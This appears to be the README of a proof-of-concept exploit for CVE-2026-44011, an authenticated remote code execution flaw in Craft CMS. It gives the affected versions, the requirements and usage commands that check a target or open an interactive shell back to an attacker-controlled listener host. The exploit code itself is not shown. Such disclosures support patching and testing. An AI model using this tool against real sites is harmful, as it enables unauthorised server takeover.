CVE-2026-44011: Craft CMS authenticated RCE PoC

This Python script adapts the attack described in the Craft CMS security advisory. An authenticated Craft user can reach a vulnerable field-layout configuration path and cause the server to execute commands.

Scope and requirements

Affected versions are Craft CMS >=4.0.0, <4.17.12 and >=5.0.0, <5.9.18.

The script requires curl on both hosts. It uses Bash on the server. Python3 on the server also provides an interactive PTY; without it, the shell falls back to a basic connection.

Usage

# Confirm the host is vulnerable
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password' --check

# Open an interactive shell
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password'

Credit

Craft CMS credits @precicom-vincent-tl as the finder of CVE-2026-44011. The vulnerability details and example payload are published in the Craft CMS advisory GHSA-qrgm-p9w5-rrfw. This script adapts that published technique.